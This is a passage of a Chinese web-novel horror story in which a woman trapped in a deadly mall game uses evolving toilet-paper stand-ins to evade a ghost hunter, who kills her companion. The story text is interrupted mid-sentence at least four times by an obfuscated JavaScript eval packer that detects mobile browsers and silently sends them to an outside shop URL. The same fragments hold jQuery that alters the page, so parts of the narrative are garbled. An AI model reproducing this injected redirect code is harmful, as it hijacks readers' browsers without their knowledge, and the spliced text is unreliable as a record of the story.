最开始明明是牵制策略,应该是梅子喻的替身去吸引男鬼替身的注意力,这样他们才可以悄悄地移动。谁也没想到那些卫生纸如此失控,导致发展到如今的局面。 梅子喻两手扶在眼边,目光越过眼前的墙,看向极为遥远的地方,说:“我刚发现我……看得到。” 她顿了顿,又解释道:“应该是,当它们看得到无常和无常的替身的时候,我就也能看得到。” 灰烬喃喃道:“怎么可能?就连无常都没办法……” 儿童文学似乎看见一线希望,眼里终于又有了光彩,她将怀中的头发抱得更紧了些,说道:“无常的替身权限是‘接触’,你的替身权限是‘视觉’吗?” 无常只有当替身接触到目标的时候,才会来抓人。 但梅子喻的替身看得到目标时,她就能获得位置了。 梅子喻大概理解了儿童文学的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208943|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“应该是吧。总之,我们不用躲在这里,这样太被动了。跟我走,安全的。” 她说着,打开了门。灰烬吓得一抖,仿佛害怕一开门就看到男鬼,他看起来很想相信梅子喻,但是他过去的生存经验告诉他,此时不应贸然走动,苟才是更好的选择。 在这游戏里,给猎物用于躲藏的变身卡,给猎人用于抓人的替身卡,不就是要他们这样玩么?…… 儿童文学倒是立即决定和梅子喻一起主动逃跑,她不耐烦起来,伸手拎起灰烬的领子:“别逼我揍你,快走。” 灰烬抬起头,正与梅子喻坚定的目光对上视线,只听她说道:“相信我,我可是梅好明天啊!” 灰烬嘴唇嗫嚅,有些动容。 是啊,她可是那个进入游戏半小时就能登上猎杀榜首的,奇迹一般的猎物! 就算什么都不相信,也要相信排行榜。 灰烬重打精神,说道:“好!我相信你!”和排行榜。 卫生间旁边的走廊,有通往各个餐厅的后门。梅子喻往日里没什么娱乐活动,就是跑步和瞎逛,对这里的构造也有些了解。 她快步跑过衔接的走廊,来到第二道餐厅后门时又紧急停了下来,说道:“接下来,尽量不要发出声音,我快你们就快,我慢的时候一定要轻点走。” 她的脸始终朝向餐厅外面,一直在看些什么—— 两堵墙外,与她十分接近的位置,一个长发男人正悠然走来。他扬着嘴角,一副饶有兴致的模样。 正是男鬼。 他已经来到了第六层靠近目标卫生间的这一边里侧走廊,自北向西地走来。 而梅子喻正在外侧走廊,朝着他走来的方向走去。 她的步速放得极慢,但仍在前进着,直到他们在第四扇门的地方隔屋相遇。 男鬼就在与她平行的那条走廊上,五米之外的位置,她情不自禁地顿了下脚步,同一时间,男鬼似乎像是感觉到了什么,朝他们这边看了一眼。 但也仅仅是看了一眼,那只是一间普通的,空荡的饭店而已。什么也没有。 男鬼耸了耸肩,似乎是并不明白自己莫名的警觉从何而来。但他的步速快了一些,好似是……意识到了某种危机。 即将错过猎物的危机感。 梅子喻能将他脸上的表情看得十分清楚。她忽地察觉到一丝不妙——男鬼到底为何只看了眼这间餐厅?而她又为何,能看的这么清晰? 这只正在看着他的卫生纸人,到底在什么位置? 男鬼忽然停下脚步,向后退去,梅子喻浑身一僵,她眼看着男鬼朝这边仔细打量,然后朝她伸出了手—— 他看到了。 那一瞬间,梅子喻混淆了替身的视觉和她的视觉,只觉得男鬼那只巨大的手要将她握在掌心似的,但她很快反应过来,男鬼只是发现了她的替身,小卫生纸人。 这是一家新店,从视角推断,大概卫生纸人藏在了门口庆祝开店的花篮中。 但在即将触碰到之时,男鬼犹豫了一瞬,又收回了手。他凑近瞥了几眼,那双永不眨眼的恐怖的眼睛极近地凑到梅子喻的“眼前”,好像他们就那么面贴面地站着,注视着彼此。 他们也确实隔着墙,直直地注视着彼此。 8. 男鬼八、遛鬼 梅子喻大概能猜到男鬼在想什么。 在他的地盘上,出现了疑似其他猎人的替身,自然十分提防。由于他自己的替身权限是接触,就以为别人的替身也一样。 或许,接下来他会注意到每一个藏匿的小卫生纸人,但他不会轻易破坏掉,因为这会暴露他的位置信息,而他并不清楚对方的来头。 但他不会知道,自己的一举一动早就暴露在梅子喻的眼里了。 想到这里,梅子喻心里一阵隐约的快感——这就是做猎人的乐趣么? 男鬼收了悠然自得的神情,一个加速,几秒钟内冲过了这段走廊,直奔卫生间而去。 ——他察觉到了,事情并非猎物努力反抗杀死了一只他的替身这么简单。 到了卫生间附近,只要稍微转转,就能看到这条通往饭店后门的走廊。他们并没在这条走廊上走出太远,男鬼速度又太快,一旦被看到,就是死路一条。 梅子喻紧盯着男鬼,一边倒着向后走去。 他在卫生间里转了两圈,思索着什么,看向天花板、地面,然后一间接着一间地踹开了隔间的门。 除了他自己的替身纸人被撕碎的碎片外,一无所获。 当然,他绝不会发现卫生间最大的异常——就是,所有的卫生纸都被用没了。 男鬼不耐烦起来,他不是什么会细致观察推理的猎人,这里没有收获,那么就换一个地方。他走出卫生间,左边,是来时的路,右边,是通往后厨的门。 梅子喻神色一凛,朝身后两人比了个快走的动作,闪身朝店里跑去。 三人躲进饭店时,男鬼刚好打开了右边的门。 这条走廊,也是空空如也。 猎物……跑到哪去了? 男鬼微微蹙起了眉,一边四处看着,一边继续沿着外侧的走廊向前走。 梅子喻飞快地穿过饭店,从正门走到了里侧的走廊。 她和男鬼走着对方走过的路,再次面朝面地朝对方走来。只是这次,男鬼没有停下,而她也同样继续前进。 俗话说,最危险的地方就是最安全的地方。 梅子喻回到了最初的卫生间。 儿童文学和灰烬都没想到她这样绕了一圈却回到了起点,眼神中带着震惊,但他们不知道男鬼还在不在附近,谁也不敢出声问话。 卫生间门口的走廊是个好地方,可以在卫生间隔间里躲藏,左右两条路可走,中间还隔着饭店,可进可退。梅子喻就在这里一动不动地站了整整五分钟,才松了口气,说道:“他走了。他的替身也都在比较远的位置,我们现在安全。” 虽然说是男鬼已走,但儿童文学还是不敢放松警惕,压着声音问道:“他现在在哪?” “还在这层,快走到东侧了,他正在到处找我的卫生纸替身,没什么别的动作。” “所以,他现在很提防?”儿童文学说道:“这是个好消息。他要是知道这个替身是猎物放出来的,就不会这么谨慎了,我们趁他还没弄清楚情况,快点离开。” 说到这,她难得露出了一点带着报复快感的笑意:“这也是他第一次这么紧张吧。” 梅子喻问道:“那我们现在去一楼么?” “肯定要从一楼离开,但也没那么简单。”儿童文学抓出那把一直小心翼翼护着的头发,轻轻递到灰烬手上:“灰烬,我来和她解释,你检测下。” “好。” 灰烬并未多问,从手机上调出一个放大镜模样的道具来。看他们配合的默契程度,这样的操作应该已经有很多次了。 儿童文学从怀中掏出一张手绘的地图,上面浸透着血迹,不知经历过什么。 “目前我们见过的,无常有两种类型的替身,一种抓人,另一种守门。我猜,是因为他发出了两种不同类型的指令。 “抓人的在商场里巡逻,看到或听到猎物,会来抓人,接触到猎物之后,会通知无常。 “守门的藏在门缝里,只要猎物触碰到这扇门,就会杀人。不过,它们貌似只对自己所藏的那扇门负责,不会去抓触碰其他门的猎物。” 她指向几个画着红叉的大门,说道:“这是一楼的地图。一楼东南西北四个大门,每个门都有很多守门替身守着,除非我们能与无常正面对抗,不然绝对不要走这几个门。很多人都在这里死掉了。” “……很多人?”梅子喻想起了走廊里遍布的无头尸体,那只是一小部分吗? “是的。我粗略算下,这里死了快有五十个人。”儿童文学神情严肃:“无常在这里,搞了一场大逃杀—— “他把好多人都赶到这里,用他的索命绳杀了第一批人,把他们做成了无头的纸人替身。之后,再让这些纸人们去抓幸存者,被抓到的人杀死。死掉的人再次做成替身。” 梅子喻好像明白了,为何他们会对门外那个无头纸人被撕碎有着如此强烈的反应。 大概,那是他们认识的某人做成的。 说到这,儿童文学神色黯淡下来,她问灰烬:“检测好了吗?” 灰烬点头。 “……是她吗?” 灰烬沉默着,再次点了点头。 儿童文学盯着手里的发丝发了会呆,忽然笑了笑,“没有杀意。不愧是她。就算成了……也还是这样。” 梅子喻想起来,那纸人在门外呆着,应该早就听到了他们的动静,但并没主动进来。 而且,她的卫生纸人还说那个替身“无杀意”。 她忍不住问道:“被无常做成纸人的替身,会有自我意识吗?” “……谁知道。”儿童文学的笑容冷了下来。当然不会。但是,这个替身为什么没有进来抓他们? 又为什么会在喊救命后,试图喊她的名字。 别的替身在被破坏之前,也会这样试图呼唤谁吗?她没注意过。之前做检测,也只是为了估算剩余替身的数量。 那只是替身而已,只是想要抓住他们、杀死他们的杀人武器而已。 儿童文学面无表情,忽然又坚定地说道:“怎么可能有意识,头都没有了。” 她从灰烬手里接回好友的头发,尽数拢好,用衣服包着放回怀里,继续指着地图说道:“楼顶封死,去不了。破窗而出,动静太大,会吸引替身。如果能在被替身抓住之前逃出,可行,前提是从窗户跳下去不摔死。” 话题扯回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好吧,她也知道这不太可能。假设她的替身和男鬼的替身总体强度一致,由于她在这商场里所能召唤出替身的数量显然大于男鬼的替身数量,所以合情合理的推测,她替身的平均能力,应该更低。能群殴一只不行动的弱鸡无头替身,但肯定打不过负责守门的最强无头替身。 不过更关键的是,他们赌不起。一旦与男鬼真的碰上,就是死翘翘。 “这就需要你的卫生纸替身和灰烬的放大镜来配合。”儿童文学说道:“灰烬这个道具是用来检测头发的,由于无常的替身都有头发,所以可以用这个道具看得到藏在门缝的守门替身。 “只是之前,我们害怕被巡逻替身抓到,一直没法近距离地观察。” “我明白了。”梅子喻应道:“我用卫生纸引开一楼巡逻的替身,灰烬去用放大镜找到没有守卫的门。” “对。” “那,你要和灰烬一起去吗?” 儿童文学摇摇头:“不,上述那些也都是我们总结加猜测的,并不能确保一定会找到安全的商户门。我还要去寻找其他隐藏的门,比如,那扇经常被好多替身围绕着的,地下室的门。” 9. 男鬼九、纸神 据儿童文学所说,大逃杀开始没多久,猎物们分出了四钟逃生路线。 第一种找地方躲起来,第二种从一楼大门和商户离开,第三种向顶楼跑,第四种向地下跑。 找地方躲起来的,可能是存活概率最大的。如果找的地方足够隐蔽,变身的形态足够不显眼,不发出声音不随便移动,很可能一直苟到游戏结束。 试图从一楼的门离开的,无一例外全部被守门替身杀死了。 向顶楼跑的发现顶楼被封锁,向下逃跑时,大多死在了最高的六楼,也就是梅子喻见到的那些尸体。 向地下跑的……不清楚。 “我没有去过地下,不知道情况。只是听说,巡逻的替身也很多。”儿童文学对梅子喻说道:“通往地下室的门少说也有四五个,我需要你用卫生纸帮我引开那附近巡逻的替身,我来确定门的位置。如果灰烬在一楼没有找到安全的门,就来和我一起检测通往地下的门。” 灰烬接着说道:“这么多门,总有一个没有守门替身守着的。” 总的策略就是,避开男鬼和他所有的替身,避免正面冲突,悄无声息地逃为上。 梅子喻查看了下自己猎人标识的倒计时,第一次使用还有半个小时左右的时间,如果他们效率够高,应该都用不上第二次。 “好,那我引开替身之后,怎么告诉你们具体的位置?” “我们微信联系就好了。”儿童文学掏出手机:“加下微信,我拉个群。” 梅子喻惊讶道:“这里还能用微信呢?” “你手机上的功能都可以正常使用,甚至可以上网。但是,你不能联系外部,只能浏览外部给你的信息。也就是说,不能和现实中的人发消息,不能搜索。” 梅子喻打开手机,简单翻了几个app——是的,可以上网,可以加好友加群,不能给现实中的人发消息…… 等等。 怎么她在一小时前,给老板发了个消息? 那时候,她不应该正在被杀手追杀吗? 梅子喻点进了老板的聊天框。 梅子喻:我今天想请假。 老登:什么理由? 梅子喻:不想上班,这就是理由。 老登:……不批 梅子喻:不批假? 老登:语音45s 梅子喻:那我就辞职吧。 梅子喻:再见,老登。 对方没再发来消息,可能是被删除好友了。 梅子喻:“……”什么情况? “你也看到了有人用你的账号给别人发消息,是吧?”儿童文学见她脸色十分精彩,波澜不惊地解释道:“大家都这样,进入游戏后就会有一个人代替现实中的你生活,不用在意。” ……这要怎么不在意! 这个代替者给老板的备注改成了老登,还真的这样叫了,而且还提了离职! 虽然她早就这样想过,但也不能真的这样做吧。 这个不知道哪来的代替者,不过接替了她的人生一小时就随意搞掉了工作,让她本就艰难的生活雪上加霜。接下来,不知道还会做出什么事情。 若是她就在这游戏里死了,那破烂人生也就随那人过,但如果她以后从游戏里回到了现实之中,岂不是还要替那人收拾一堆烂摊子? 又或者,她没法再回到现实里。从此自己的人生就被这个莫名其妙的代替者接手?…… 梅子喻在意得不得了,但现在时间紧急,这些问题,只能留着安全之后再问儿童文学了。 儿童文学在新建的三人群里发了个1,说道:“就在这里发消息,记得把手机调成静音。” “好,我会把替身的位置发你们,你们也可以把你们移动后的位置发我,我告诉你们那里是否有无常的替身。” 多亏了她够穷,天天都跑步到商场白嫖空调,以至于她对这里熟悉到可以快速判断每一家店的大概位置。 之后,就是释放一些替身去五楼。确认了五楼的情况后,再继续下楼,直到下到一楼。 为了防止再发生上一次的情况,儿童文学和灰烬先去了另一家位置比较安全且接近消防通道的店等待,如果有什么意外,梅子喻自己一个人跑得还更快一些。 她来到隔壁女厕,用基础指令召唤出了一批卫生纸人来。它们和上一批没什么区别,也都垂着头安静地一动不动,只是隐约能看出来是女人的身形。 上一次,是用指令激发了替身的语言能力。不过现在她有一个说服的buff,既然能说服,前提当然是能交流,她决定试试直接和她们对话。 “卫生纸……” 梅子喻还只没说任何指令,只是叫了个称呼,它们就齐刷刷地抬起了头,用不存在的眼睛“看”向她的方向。 看来,它们已经能听懂她说的话了。 接下来,试一试他们是否会继承对上一批卫生纸的指令。 “卫生纸,你们的任务和之前一样。” 卫生纸的脸上裂出了眼睛和嘴,齐声说道:“保护和平,保护你们。” 一切都和上次的流程一样,只不过加速了。 梅子喻怕她它们也同上次一样攻击男鬼的纸人,嘱咐道:“主要是保护我们,不要随便攻击……” “我们都清楚。”卫生纸居然打断了她的话,自顾自地说起来:“用嘴说。用眼睛看。用脑子思考。我们都清楚。” 这批纸人和上一批,似乎有些不同。 好像……更加智能一些。 “你们去五楼行动。” 上一批纸人的数量刚好足够梅子喻掌握整个六楼的情况,她计划之后也这样,用一间卫生间的纸照看一层。 纸人照例分裂成了小纸人,排着队从门口出去了。梅子喻刚准备发消息通知队友,却看到角落里还站着一个纸人,没有分裂,也没有走。 这又是什么情况? 她隐约觉得,事情好像在朝自己控制不了的方向发展。 “……你为什么不走?” “为了执行你的第二条指令,保护你。”那只纸人说道。 梅子喻抬起头,认认真真地打量了它一番,忽然觉得有些毛骨悚然——它十分像人,而且五官的形状与她十分相似。 她情不自禁地向后退了一步:“你执行命令就好了,我不需要你这样保护……” “你需要。”纸人说:“我们在思考。我们想到了所有的情况。我们意识到了正在发生的危机。你没有。” 它指向卫生间外:“你的布局。正在被长发男人破坏。” 又转回来,指向了梅子喻。 “你。即将被长发男人杀死。” 梅子喻脑袋嗡的一声,忽然意识到了什么。 她急忙凝神看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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替身学会思考后的进化速度太快,以至于她现在没有想好,是要它们变得更聪明,还是要它们只要乖乖听自己命令就好…… 纸神忽然向她伸来了手。 梅子喻以为它要攻击自己,第一反应便是跑,但那只不成形状的手只是轻轻贴到了她的皮肤上,卫生纸分形、扭曲,一只一只地进化出了五根手指,随即又握住了她的手指。 是卫生纸的感觉,软软的,很贴肤。 看起来,并没有攻击她的意思。 纸神盯着两人肌纸相接的部分,若有所思地说道:“牵手。温暖的。” 卫生间里,一人一纸牵着手,这诡异的一幕居然有些温情。 梅子喻心里升起一股怪异的感觉:虽然在现实中,没有人牵着她的手和她说很温暖,但现在有卫生纸这样做了。好像,也挺……开心的。 她没说话,也没反抗,任由纸神拉着她走到里面的隔间,打开了第一扇门。 纸神说:“进去。” “是要我躲一会的意思吗?”梅子喻一边问,一边照做了。 隔间里一个开着盖的马桶,旁边是空掉的卫生纸箱。 纸神用还没完全成型的双眼与她对望了一会,沉默地松开了手。 “怎么……” 梅子喻话还未说完,纸神忽然抓住她的脖子,趁她毫无防备,将她的头猛地按进了马桶里。 与此同时,卫生间的门被人从外侧推开。 “猎物小姐,你在这——” 男鬼得意洋洋的声音戛然而止。 【解锁成就:马桶穿越者】 【成就说明:你是否也在探寻马桶另一侧的世界?冒险者,你的精神值得嘉奖。】 【成就buff:可以在马桶间穿梭】 10. 男鬼十、正确的门 进入这个游戏之后,梅子喻一直都很无语,但这次,应该是最无语的一次。 她站在一间全新的卫生间里,布局都和六楼的一样,卫生纸箱还是满的。 还好,卫生间足够干净,身上也没有淋湿,这确实只是一个单纯的穿越通道而已。 只有她一人穿越过来了,纸神还在原地。她能通过纸神的眼看到,男鬼站在卫生间的门口,神情震惊:那么大一个猎物,就这么在他眼前消失了。 他朝纸神走了过来,长长的黑发倏地卷起,化作一把利刃,朝这边刺了过来。 之后,什么也看不到。 纸神,被男鬼杀死了。 “……” 一时间,梅子喻心里五味杂陈。第一个为了保护她而献上生命的“人”,竟是一张卫生纸。 她念出了召唤卫生纸的基础口令。 只是这次,她的第一句指令是:“卫生纸,不要思考。” …… 六楼某饭店中,儿童文学和灰烬蹲在餐桌下,等待消息。 灰烬时不时看下时间,焦急地小声问道:“过去多久了?” “五分钟而已,你急什么。”儿童文学倒是十分沉着:“这么多天都活过来了,还差这几分钟。” “但这应该是我们最接近成功的一次了吧,之前我们甚至没机会去一楼。”灰烬想起了梅子喻带他们隔着两堵墙有惊无险地溜无常,不由得感叹道:“她真的好厉害,我从没想过,还有猎物能得到猎人的能力。” 儿童文学沉默了一会,才说:“也有运气的成分吧。” “跟着她好有安全感。”灰烬想象了下跟着梅子喻成功逃生的场景,露出一个傻气的笑,自顾自地说下去:“总觉得就算是和无常正面起冲突了,只要她在身边,我也还是安全的。” “不可能。”儿童文学斩钉截铁地说道:“不要心存幻想,不要和无常正面冲突——她发消息了。” 灰烬急忙打开手机查看消息。 默认标题的三人群里,一个狗狗头像的人发了简短的一句话。 梅子:下楼 儿童文学一秒都没耽误,拎着灰烬的胳膊就冲了出去,旁边就是他们事先选好的楼梯,如果没有意外,他们会在每一次楼梯隔壁的店停留一段时间,并一直用这条楼梯下到一楼。 两人刚要推开消防通道的门暂时躲避,又收到了下一条消息。 梅子:下楼 灰烬惊讶道:“这么快?” 他们又继续下了半层,儿童文学脚步一顿:“她又发消息了。” 还是下楼。 “这也太快……”灰烬眼中满是佩服:“究竟是怎么做到的?” “估计是得到了可以在楼层间快速移动的道具。她现在的首要任务是确保我们到一楼,所以只要确认我们这条楼梯附近是安全的就可以了。”儿童文学倒是不怎么意外,只是也忍不住加了一句:“不知道她哪来那么多道具。” 两人飞快撤到了一楼,在群里发送了位置:已到达一楼。 很快,那边又回了消息。 梅子:一楼所有替身都在西边,其他位置你们随便去 梅子:无常和我都在三四楼 梅子:他很生气,你们快点 儿童文学:“……无常和她?” 灰烬:“他很生气?!什么情况!” 儿童文学皱眉道:“她那边情况应该也很糟糕,我们快些行动。” 两人按照原计划,兵分两路。灰烬去商户的门前一间间检测,找到安全的门,儿童文学去找那几扇位置比较偏僻的通往车库的门。 而梅子喻那边的情况……绝对说不上遭。 一楼西侧满地狼籍,遍布纸屑和头发,空中还有卫生纸絮飘扬。 无头替身和卫生纸替身的战斗,大多是两败俱伤。卫生纸仗着数量多,从四面八方围殴过来,仿若饿虎扑食。但若是被围住的无头替身反应过来,一个头发横着划过去,就撕倒一片。 一楼的大部分巡逻替身都被源源不断的卫生纸缠住,无法继续巡逻,小部分则在角落里被逐个围攻击破。梅子喻已经把二楼以上的卫生纸全都调了过来,用整个楼的战力对抗无常一层的战力。 从策略上,梅子喻算是压人一头。 从战力上,那些卫生纸人确实是不堪一击。 至于梅子喻本人……正在无压力遛鬼中。 大部分卫生纸都被调去一楼支援,其他每层都保留了几只在卫生间候命,不要随便行动。 她已经在每层的卫生间门口做好了标记,从隔间一出来,就知道自己在哪层哪个方位。 下好命令后,从卫生间出去,偶遇一只无头替身。一边心里祈祷这只是弱鸡替身,一边等着她的卫生纸替身上前送死。 两只替身接触的那一刻,她就跑回卫生间,站在马桶边上,从其他替身的眼中看着外面,直到看到男鬼气冲冲地赶来—— 她就从马桶里跳进去,来到随机一间卫生间。 如果不是心仪的层数,那就多跳几次,总能随机到一个满意的位置。 核心目标是,让无常远离一楼。 最初几次男鬼来的很快,大概是吃了之前的亏,怕猎物跑掉了。几次之后,他也意识到大部分都是替身构成的误导陷阱,但又没有其他线索,除了跟着追杀外,毫无办法。 大概是气愤的缘故,他并没有随着被溜次数的增多而懈怠,反而比开始更快了,可惜,仍旧连梅子喻的影都见不到。 梅子喻在楼层间穿梭着,但始终没有在五楼和六楼停留过。 这两层的卫生纸,是会思考的,和纸神一样的。虽然它们无论如何也都还只是一张纸,但,一想起她曾经与之握过手,起过名字,心里始终不舒服。 穿梭的次数多了,饶是梅子喻耐力强,现在也有些累了。她看着男鬼离自己还远,群里的两人又都没有消息,就在卫生间休息了一会。 这里是三楼的某间卫生间,纸箱是空的,卫生纸也都散去了。 梅子喻坐在马桶盖上,心想:纸神为什么要她起一个名字? 为了让它更像人吗?为了让它成为这群替身中比较特别的么?还是因为……它想留下某些存在过的证明? 她盯着空空如也的纸箱,情不自禁地喃喃念道:“纸神……” “我在。” 隔壁间传来了熟悉声音。 梅子喻吓得浑身一颤,有人在外面推开她隔间的门。 一只和她十分相似的纸人,站在门外。 梅子喻看向它扶在门板上的——是手……是一只已经成型了的手。 “……纸神?” 可是,最开始被她起了名字的那一只,不是已经被男鬼杀死了吗? “是。”新的纸神像是看出了她心中的疑惑,说道:“我是我们。” 或许,替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208946|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身没有个体和群体的概念。它们能从一只分散成许多只,自然也能将许多只视为一只。 所以,这还可以算是与她牵手的那一只吗? 梅子喻问:“我不是要你们在五层行动吗?” 纸神没有起伏的平平的语调,居然有一丝莫名的幽怨:“这就是你与我重逢后想说的话吗。” 梅子喻心里一惊。 这纸人不仅产生了思维,产生了主动性,还产生了情感? 而且,说话也比之前更流畅,更丰富了。 纸人,好像又进化了。 “你没有听从我的指令。”梅子喻心里有些害怕,如果指令都不管用,这些纸人就相当于随时会爆炸的定时炸弹,它们越聪明,就越可能出现搞出她无法控制的乱子。 “我在执行更高一级的指令,保护你。”纸神说道:“我们不像之前和之后的那些垃圾。” 它寡淡的脸上,五官变得更加清晰。 “我们,是神。” 梅子喻:“……” 不,你们真的只是卫生纸而已。 现在要来说服它们,告知它们不是神,只是随时都会被破坏掉,被视为诱饵、弃子,只需要听令的替身么? 可是,好像又没有这个必要。 既然它已经产生了自我意识,告知它真相,是否是一种残忍呢?…… 梅子喻烦躁地打开手机,发现一分钟前,灰烬在群里发了一条消息。 灰色:找到了!!@梅子@旧的诗快来! 下面,是一个定位。 梅子喻蹭的一下站了起来,没再和纸神说什么,直接跳到马桶里。 管他什么思想不思想,神不神的,纠结这些做什么,跑路要紧。 从一楼的卫生间到灰烬指定的那个位置有点远,梅子喻跑了好一会才到。那是一家卖鞋子的品牌店,落地玻璃透亮干净,室外的光打进来,心情都明亮了几分。 灰烬已经拉开了门,站在商场之外。 他好像并不知道男鬼画出的白线范围,仅仅是站在了玻璃门外,就已经露出了胜利的笑容。 “梅子,快来!”他朝梅子喻招着手,那样极度的喜悦也感染了梅子喻,她虽还没来到区域外,却感觉自己仿佛已经逃脱了,情不自禁地笑起来,快跑几步,也回了他一个招手。 接下来,只要等儿童文学回来,他们这个小队就全员存活地离开了。 会有这么轻松么? 她总觉得,这胜利来的太快,太不现实。 可是,她确确实实从一个替身的视野中看到了男鬼。他正在六楼的另外一边,和他们很远很远…… 梅子喻的笑容忽然僵住了。 刚刚还在四处张望的男鬼,忽然转过头来,与她对视。 他看到了那只正在监视他的小纸人,还知道她正在看。 下一秒,他的头发尽数立起来,长长的发尾一直拖到天上——触碰到顶的一瞬间,他整个人拔地而起,被头发拉到了天花板里。 梅子喻的脸色刷的一下变得惨白,灰烬以为她只是担心,安抚道:“放心吧,这个屋子每个角落我都检查过了,没有地方有头发的。” “天花板……天花板!”梅子喻差点喊了出来,“算了,先……” 灰烬忽然意识到了什么。 “你是说,天花板上有……”他没能把话说完。 一缕头发,垂到了他的嘴边。 11. 男鬼十一、拿首好戏 “……啊……啊啊……” 灰烬甚至连头都不敢转动一下。他只是控制不住地发出了惨叫。 发丝顺着他张开的嘴,勾进口腔里。 梅子喻站在几米之外的位置,脚步像是凝固了,没有再向前一步。她眼睁睁地看着男鬼倒着从天花板上垂了下来,头发先着地,不曾合上的双眼直勾勾地向前,盯着她的脸。 灰烬,已经被男鬼抓住了。 但她还没有。 现在快跑,还来得及。 梅子喻抖着身体,向后迈了一步。 “……梅……梅……” 灰烬颤抖的嘴叫出了她的名字。当他自己听到自己喊出的声音时,空白的大脑忽然回神,眼里复又燃起了亮光。 是的,梅好明天还在! 半小时内排行榜第一的奇迹,杀死星的奇迹,带他遛鬼的奇迹,有无数道具的奇迹…… 这样的奇迹,当然也会把他救出来的吧? “梅子……救我……” 他的泪水盈满眼眶,嘴角却滑稽地勾了起来,那是努力挤出的讨好的笑。 “梅子,我,我相信你、你会……救我的吧?” 梅子喻的身子僵住了。 她没再后退,但也没有上前,似是在纠结。 男鬼笑了起来。 “猎物小姐,你的朋友在叫你呢。”他的脑袋垂在灰烬的脸庞,长长的舌头伸出来,在嘴边舔舐一圈。 他的头发一缕缕地卷入灰烬的嘴里,教这个可怜的猎物渐渐地发不出声音来,还一边哈哈大笑地说道:“小猎物,叫啊,继续求助啊,梅子——梅子——”他学着灰烬颤抖的哭腔叫了两声,又笑起来:“梅子!救他啊!” 梅子喻咬着牙,仍旧一动未动。 男鬼的索命绳会在一秒内杀死她。现在逃跑,才是最正确的选择。 她想活,她一定要活下去。她要不顾一切,用尽所有手段地活下去,但为何现在却移不开步伐? 是因为他这样哀求她吗?还是因为她第一次被人说“我相信你”?她要为这样浅薄的理由放弃活的希望吗?…… “怎么了,猎物小姐。现在,怎么不跑了呢?”男鬼咧着嘴笑,说出的话却带着一丝隐隐的恨意:“你不是最会逃跑了吗?你不是耍我耍的很开心吗?” 他确实被彻底地激怒了。 他伸出手,索命绳倏地缠住了灰烬的脖颈。 那双溢满泪水的眼惊恐地瞪圆了,嗓子尖冲出一声惨烈的悲鸣。 “我恨你、我恨——” 咔嚓。 索命绳收紧了。 男鬼的头发勾住了灰烬向下滚落的头,卷起来,玩球一样拎着转。他对梅子喻绝望的神情很是满意,从天花板降到地上,笑道:“猎物小姐,你说,他是恨你,还是恨我呢。” “当然是恨你。” 梅子喻并没有说话。 两人都是一愣,朝声源望去。 和梅子喻有九成相像的纸神站在一边。 “破坏和平,破坏她的安全。你已经被我们锁定。”纸神看向男鬼,语气坚定,像是在下最后通牒。 “……又是那个卫生纸?”男鬼甚至懒得看纸神一眼,略有些不耐烦地抱着肩,神态间满是嘲讽,说道:“既然你能杀死星,要不要拿出点真手段来对付……” 一只小纸片忽然飘起来,悠悠地落到男鬼面前。男鬼一把抓在手里,轻轻一碾,就压成了碎末。 他抬起头来,略有些难以置信地看向梅子喻:“你想用这种脆弱的东西攻击我?” 梅子喻抿着唇,没说话。 这一切不是她下令的,她也不知道纸神要做什么。 一个已经全面进化,认为自己是“神”的物种,在面对比自己强大许多倍的敌人时会做出什么。 “位置已通知。”纸神说道。 哗啦啦—— 话音刚落,不知从何处飞来无数纸片,像雪崩一般铺天盖地地埋向男鬼。下一瞬间,男鬼的头发便在这漫天飞雪中划出两道黑色的通路来,纸削纷纷扬扬地散了满地。 接着,又有数不尽的纸片飞到他的脸上。 最开始是一片,小小的,温和地贴在他的脸颊上,甚至连一点血都没有扣掉。但很快就是第二片、第三片……他的头发在空中击碎数以万计的碎纸时,脸上也盖上了厚厚一层纸。那些纸像吸血的水蛭一般紧紧地扒着他的皮肤,覆盖住他的嘴和鼻子。 他的头发和手一起抓向自己的脸,划出数十道长长的血痕。但那些纸仍旧前赴后继地堵住吸气孔,并争前恐后地向里面挤去—— 狭窄的呼吸道塞满了卫生纸,最开始他还能从罅隙中吸到一丝微薄的空气,但很快那些纸叠得厚重,沉甸甸地压在他的气管里。 “嗬……” 缓慢地,煎熬地,窒息。 男鬼的脸变得青紫,抓挠的动作变得迟缓。大概在游戏里过了这么久,他都还没尝到过血量濒危的滋味。梅子喻是清楚的,那种头晕目眩,浑身无力,随时都要死去的感觉。 “我们,是神。” 纸神平静地说道。 梅子喻呆愣地看着这一切,回过神时,急忙在群里发消息。低下头去,才发现泪水已经流了满面,滴在手机屏上。 旧的诗:我马上来 梅子:别来 梅子:你在哪,我去找你 旧的诗:发送定位 旧的诗:怎么了? 